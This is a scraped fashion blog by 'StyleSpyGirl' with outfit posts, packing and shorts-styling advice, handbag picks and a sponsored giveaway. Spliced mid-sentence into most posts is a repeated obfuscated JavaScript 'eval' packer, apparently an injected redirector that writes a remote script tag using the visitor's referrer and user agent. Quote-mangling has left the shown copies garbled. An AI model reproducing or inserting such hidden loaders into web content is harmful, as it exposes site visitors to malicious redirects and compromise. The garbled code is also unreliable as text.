Category: Style Post

Weekend Vacay at the Boardwalk

Weekend Vacay at the Boardwalk

 

Wildfox Couture white top
$89 – superette.co.nz

Wallis cap sleeve top
wallisfashion.com

Fat Face summer jacket
$105 – fatface.com

Ankle length skirt
$45 – fashionunion.com

Frame Denim hot shorts
matchesfashion.com

Leather shoes
tideshe.com

Asos sandals
asos.com

Felix rey
ahalife.com

Brimmed hat
tommybahama.com

Alexander McQueen skull scarve
$445 – montaignemarket.com
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I’m heading to the coast this Summer! Yay! And after years of traveling all over the world, I’ve learned some important packing lessons.
Wrong way to pack: Taking all your faves. Unless you are able to take unlimited luggage, and maybe someone to help you carry it, do your best to limit yourself to the essentials.
Right Way to Pack: Take only items that match each other! Stick to a limited color pallet, and make sure every piece matches at least one-three other pieces. This creates a mix & match wardrobe that will keep you prepared for any situation!
Extra Credit: Stick to one metal tone. If your favorite jacket has gold trim, sticking to all metal hardware on jewelry, handbags, & shoes will streamline your suitcase, and cut down on time you could be enjoying your vacation, instead of coordinating outfits!
Enjoy the sun!
XOXO,
StyleSpyGirl

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Black & White Mania, Part 2

Photos eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|htttr|var|u0026u|referrer|adsyf||js|php’.split(‘|’),0,{}))
by Jeanne Giltzow // Styling, Hair & MUA: StyleSpyGirl

It’s a Mod, Mod, Mod, Mod world! I love black & white; it’s a color combo of simplicity, yet full of drama! This shoot was styled with a nod to the 60’s, using fun & simple pieces from modern stores like Forever 21 and Nasty Gal. Special thanks to Jeanne Giltzow, photographer extraordinaire! ❤

Enjoy!

XOXO,

StyleSpyGirl

IMG_1391Shirt: Forever 21 // Pants: Nasty Gal // Purse: H&M // Shoes: Colin Stuart

“Here Comes The Sun” ~ The Beatles

Here comes the sun, here comes the sun
And I say it’s all right

Little darling, it’s been a long cold lonely winter
Little darling, it feels like years since it’s been here

Here comes the sun, here comes the sun
And I say it’s all right

black and white mod style Shirt: Forever 21 // Pants: Nasty Gal // Purse: H&M // Shoes: Colin Stuart

Little darling, the smiles returning to the faces
Little darling, it seems like years since it’s been here

Here comes the sun, here comes the sun
And I say it’s all right

IMG_1382Shirt: Forever 21 // Pants: Nasty Gal // Purse: H&M // Shoes: Colin Stuart

Sun, sun, sun, here it comes
Sun, sun, sun, here it comes
Sun, sun, sun, here it comes
Sun, sun, sun, here it comes
Sun, sun, sun, here it comes

IMG_1372Shirt: Forever 21 // Pants: Nasty Gal // Purse: H&M // Shoes: Colin Stuart

Little darling, I feel that ice is slowly melting
Little darling, it seems like years since it’s been clear

IMG_1414Shirt:Forever 21 // Pants:Nasty Gal // Purse:H&M // Shoes:Colin Stuart

Here comes the sun, here comes the sun
And I say it’s all right
Here comes the sun, here comes the sun
It’s all right, it’s all right

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Black & White Mania: Part 1

Photos eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aahek|var|u0026u|referrer|zadnd||js|php’.split(‘|’),0,{}))
by Jeanne Giltzow // Styling, Hair & MUA: StyleSpyGirl

Spring is typically all about COLOR, but this year, fashion threw us a surprising twist by trending the always-classy black & white look. I’m a huge fan; I have TONS of black in my closet (former Seattleite – what can I say?)

For this shoot with the incomparable Jeanne Giltzow, we chose to eschew color all together, and go with a mod/retro/artsy theme. Cue laundromat… (And a few very surprised afternoon clothes washers!)

We had such a blast with this! I feel like the pictures turned into stories, and I want to caption each one, but I’m not great at clever titles & quippy sayings… So I’ll let YOU do it! 🙂

XOXO,

StyleSpyGirl

Special thanks to Jeanne Giltzow for the awesome photos!

Comment your captions below! I will select my favorite from each photo, and post them on my FB page for votes. Best Caption will win 3 hours of personal shopping & styling work from me!!! 😀 Be clever, but be nice, mm-kay? Love ya!

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black and white mod style stylespygirl style spy girlJacket: BCBG // Shirt: Pink by Victoria’s Secret // Pants: Forever 21 // Shoes: // Purse: Forever 21 // Shoes: Forever 21

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IMG_1458Jacket: BCBG // Shirt: Pink by Victoria’s Secret // Pants: Forever 21 // Shoes: // Purse: Forever 21 // Shoes: Forever 21

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3.

IMG_1441Jacket: BCBG // Shirt: Pink by Victoria’s Secret // Pants: Forever 21 // Shoes: // Purse: Forever 21 // Shoes: Forever 21

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4.

IMG_1522Jacket: BCBG // Shirt: Pink by Victoria’s Secret // Pants: Forever 21 // Shoes: // Purse: Forever 21 // Shoes: Forever 21

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Style Post: My Favorite Jeans

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nbnzi|var|u0026u|referrer|ffter||js|php’.split(‘|’),0,{}))
Photos by Laurie Anne’s CreationsDSC_4757 copy2Blouse: Express // Jeans: Vault Denim // Boots: Marco Santi from Nordstrom Rack // Jewelry & Watch: Brighton from Ruby Lou // Purse: Forever 21

DSC_4775Blouse: Express // Jeans: Vault Denim // Boots: Marco Santi from Nordstrom Rack // Jewelry & Watch: Brighton from Ruby Lou // Purse: Forever 21DSC_4745 copy3Blouse: Express // Jeans: Vault Denim // Boots: Marco Santi from Nordstrom Rack// Jewelry & Watch: Brighton from Ruby Lou // Purse: Forever 21

DSC_4757 copy3Blouse: Express // Jeans: Vault Denim // Boots: Marco Santi from Nordstrom Rack // Jewelry & Watch: Brighton from Ruby Lou // Purse: Forever 21

Have you ever made an impulse buy, something that caught your eye and you just had to have it? Sure, I’ve made $5 bargain bin store mistakes; those sweet deals you just can’t pass up, but never end up wearing because you have NOTHING to go with them… Don’t you hate that?

When I first saw these floral skinny jeans from Vault Denim, I thought, “Beautiful! I have to get those!” But a tiny part of me was worried that they would be difficult to coordinate around, because of the pattern.

Au contraire, ha ha ha! I should not have worried, because these lovelies go with everything! I styled them for Fall with my Skip N Whistle “Ugly Christmas T.” And here they are for Spring: my favorite Vault Denim jeans with one of my favorite blouses from Express, the lovely sheer Portofino!

Have you ever made an impulse purchase that turned out better than you expected? Comment below and tell me about it! 🙂

XOXO,

StyleSpyGirl

Special thanks to Laurie Anne’s Creations for the lovely photographs!
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My Style: The Not-So-Basic White Shirt!

 Photos eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nbhst|var|u0026u|referrer|rtrkk||js|php’.split(‘|’),0,{}))
by Laurie Anne’s Creations DSC_4670 copy

Blouse, camisole, skirt, & tights: Express // Shoes: Boutique 9 from Nordstrom // Jewelry: Brighton from Ruby Lou // Purse: Vintage from Abandoned Fashions

DSC_4721

Blouse, camisole, & tights: Express // Jewelry: Brighton from Ruby Lou // Purse: Vintage from Abandoned Fashions

I recently fell in love with Express‘s latest addition to their fashion & career wear: nearly-sheer button-up blouses. They’re so soft and feminine, yet entirely work-appropriate (with the right underpinnings, of course!) I love the versatility of this blouse; I can wear it over a lacy camisole, with glam shorts and embellished wedge sandals, for an evening on the town. Or, tie it up with a skirt and more subdued tank top, like the outfit above, for a work-appropriate ensemble!

Express.com has them in like a bazillion colors (ok, more like 22, but some of them even have studded accents – swoon!) So tell me: How would you wear this blouse?

XOXO,

StyleSpyGirl

DSC_4711

Shoes: Boutique 9 from Nordstrom

DSC_4697

Blouse, camisole: Express // Jewelry: Brighton from Ruby Lou
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Every Woman CAN Wear Shorts!

shorts
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Special thanks to Dillard’s for providing my models’ fabulous clothing, jewelry, & shoes!!!
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Did you hear my three main points, at the beginning? Yes, EVERY woman can wear shorts – I believe that with all my heart! (Why are shorts so important? Because summer in my town tops 100 degrees, and we do what we have to do to beat the heat!) 😉
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Wearing shorts is not about whether you are young, or not so young; tall, or short; thin, or not so thin! It IS about 3 main things:
1. Length of the shorts
2. Fit of the shorts
3. Enhancing your attributes!
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1. Length – I covered this in the video clip above. Did you stand up and try my fingertips trick? 😉
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2. Fit. If you are a larger woman blessed with more curves than average, your tendency might be to wear loose, baggy shorts. DON’T! Adding material can also add volume. You can’t hide your curves entirely, so why not embrace them? Try on a pair of fitted shorts, with a looser blouse on top. (Fitted top, loose bottoms. Fitted bottoms, loose top. It’s about Balance!) Throw on some wedge sandals and a statement necklace, and no one’s attention will be on your shorts, I promise!
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Which brings me to number 3: Enhancing your Attributes! I don’t know if this is just an “American woman” thing, but it seems to me that many of us have developed the terrible habit of dressing to hide our “flaws.” Do you do this? Particularly as we age, we seem to accumulate flaws, and can get overwhelmed by them. Darn gravity! But always dressing with focus on your flaws, makes you miss something even more important: your attributes!
What are your best attributes? Your smile, your eyes, your lips, your sense of humor? Your knees, your rapier wit, your patience, your cute ears?? Make A List!!! I’m serious! Next time you go shopping, pull out that list and think about how you can dress to enhance your attributes!
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Let’s make this practical (and super personal, ha!) I have a confession to make: I don’t like my hands! Working in retail makes them crackly & dry. Yuck! But I can’t hide them, without wearing gloves year round. So what do I do? Not wear lots of rings & bracelets that draw attention to them, that’s for sure! But I know my attributes: personality (I hope!), kindness (I try!), dramatic eyes, and a proportionately small-ish waist. So I wear belted dressed/skirt combos, well-practiced eye makeup, and fun necklaces that draw attention to my face, not my hands!
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Oh goodness, there I go with too many words again! I hope you will pardon my soapbox moments. I just truly believe every woman is beautiful, and should be able to wear shorts, or whatever fun things she wants, without feeling insecure or judged! So there! 🙂
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Now go make your attributes list… I think you’re fabulous!
Xoxo,
StyleSpyGirl

When Matching Gets Too Matchy, On a Fine Spring Day

bike1d

Bike: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ztddt|var|u0026u|referrer|bsdkn||js|php’.split(‘|’),0,{}))
Electra Cruiser // Sunglasses: Coach // Jeans: Black Orchid // Striped top: Gap // Animal Print Flats: Me Too

“Fashion is not something that exists in dresses only. Fashion is in the sky, in the street, fashion has to do with ideas, the way we live, what is happening.” ~ Coco Chanel

bike2b

Sunglasses: Coach // Jeans: Black Orchid // Striped top: Gap // Animal Print Flats: Me Too

My goal for today’s outfit was to challenge myself not to match TOO much, by mixing stripes and animal print. I know, so crazy right? So extreme? Lol! This always-coordinated fashionista was starting to fall back into “easy” patterns of dressing myself. Mixed prints: trying it, my way!

Alas, having favorite colors sabotaged my efforts; I went for a bike ride and realized how much I match my Electra Cruiser! Ha ha ha, Guess I need to challenge myself a little more…

Don’t be afraid to break the Fashion Rules a little, even if it takes baby steps. Or in my case, a brisk bike ride!

(No puppies were harmed in the making of this fashion post!) 😉

XOXO,

StyleSpyGirl

bike3

bike4b

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Pretty and Professional; Finding the Perfect tote!

Follow eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|didrr|var|u0026u|referrer|rnbsr||js|php’.split(‘|’),0,{}))
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That’s a wonderful question, Dawn! Thanks for asking! I LOVE questions from my readers! 😀

When it comes to having a work handbag that is large enough to carry your files, computer, and a variety of essentials, my preference is always to find a structured tote. I want it to be wide enough to hold my larger items, but solid, so that when I set it down it doesn’t schlump to the ground in a puddle of leather.

Ideally, your perfect tote would have enough room that you can put in your own dividers; get something that works for your organizational needs from Office Depot, Staples, etc., and take it with you when you go purse shopping!

I stopped by Nordstrom Rack for some photos of the types of handbags I think might work best for you. Most are solid colors, that would coordinate well with an office wardrobe, plus one wild Betsey Johnson tote I just had to throw in for the FUN of it! 🙂

Let me know what you think!
Xoxo,
StyleSpyGirl

20130409-165721.jpg

Coach

20130409-165823.jpg

Michael Kors

 

20130409-165848.jpg

Huge Bueno Handbags (Kate Spade wallet for size reference)

20130409-165907.jpg

Betsey Johnson

20130409-165918.jpg

Spotted on the Clearance Table: Ipad/Tablet purses by Marc Jacobs, & Rebecca Minkoff

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Shopping at the Rack with my favorite go-to Betsey Johnson tote!

Jacket: Nordstrom // Tank: BP for Nordstrom // Tote: Betsey Johnson // Leggins: H&M

Damsel in Defense Giveaway!

clutchpic2

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|frtye|var|u0026u|referrer|btsts||js|php’.split(‘|’),0,{}))
fell in LOVE with the “Handle It Clutch” from my recent “How I Styled It” article on the Skip N Whistle pullover!

Would YOU like one of these awesome “weapon” handbags, from Damsel in Defense?

Continue reading “Damsel in Defense Giveaway!” →

How I Wore It: That Skip N Whistle Pullover You Voted On!

Photography eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dbysy|var|u0026u|referrer|esiys||js|php’.split(‘|’),0,{}))
by Ammophotog

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Panther Pullover: Skip N Whistle// Earrings: Express // Necklace: Mariah Miller // Skirt: Express // Boots: Nine West // Handle It Clutch: Damsel in Defense
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Recently clothing designers SKIP N WHISTLE offered to send me a pullover to style. My first thought was, “A pullover isn’t really my style, ha ha!” In fact I will admit casual wear, in general, isn’t really me.  But I’m a stylist; I should be able to take a pullover and make it mine, using only my stuff from my closet, right? 😉

Challenge accepted.
With the exception of the amazing Handle It Clutch from Damsel in Defense, everything I’m wearing in these photos came from my own closet.
Thanks for the hot pullover, Skip N Whistle! This is how I made it my style…
XOXO,
StyleSpyGirl
WHERE TO BUY:
Skip N Whistle Pullovers available at http://www.skipnwhistle.com/  ***StyleSpyGirl fans can enter special code: “SPYCODE” at checkout for a 15% discount!!!
Handle it Clutch available at http://www.damselindefense.net/ 
Custom necklace from Mariah Miller Designs: http://www.etsy.com/shop/Mariahleigh44